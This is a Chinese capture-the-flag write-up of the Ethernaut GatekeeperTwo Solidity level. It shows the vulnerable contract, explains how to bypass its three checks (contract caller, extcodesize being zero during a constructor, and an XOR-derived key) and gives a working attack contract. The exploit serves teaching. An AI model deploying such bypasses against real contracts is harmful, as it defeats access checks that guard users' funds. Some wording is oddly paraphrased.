GatekeeperTwo漏洞

297 阅读1分钟

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

分析:

gateone

gateOne与上一个合约一样,部署一个合约即可绕过。

gateTwo

gateTwo触及到以太坊的汇编,其间caller()函数回来call sender,也便是call的发起者,而extcodesize则是回来对应地址的合约代码的size,假设extcodesize的参数是用户地址则会回来0,是合约地址则回来了调用合约的代码size。关于这点,需求运用一个特性绕过:当合约正在履行结构函数constructor并部署时,其extcodesize为0
换句话说,假设咱们在constructor中调用这个函数的话,那么extcodesize(caller())回来0,因此可以绕过查看。

gateThree

gateThree,一个简单的异或

如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。

需要msg.sender ^ gateKey = 0-1,则可以msg.sender ^ 0-1求得gateKey。

攻击合约:

contract attack{
     GatekeeperTwo gate;
    bytes8 key;
    constructor( address  target)public{
        gate=GatekeeperTwo(target);
       key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this)))))^uint64(0) - 1);
       gate.enter(key);
    }
    
}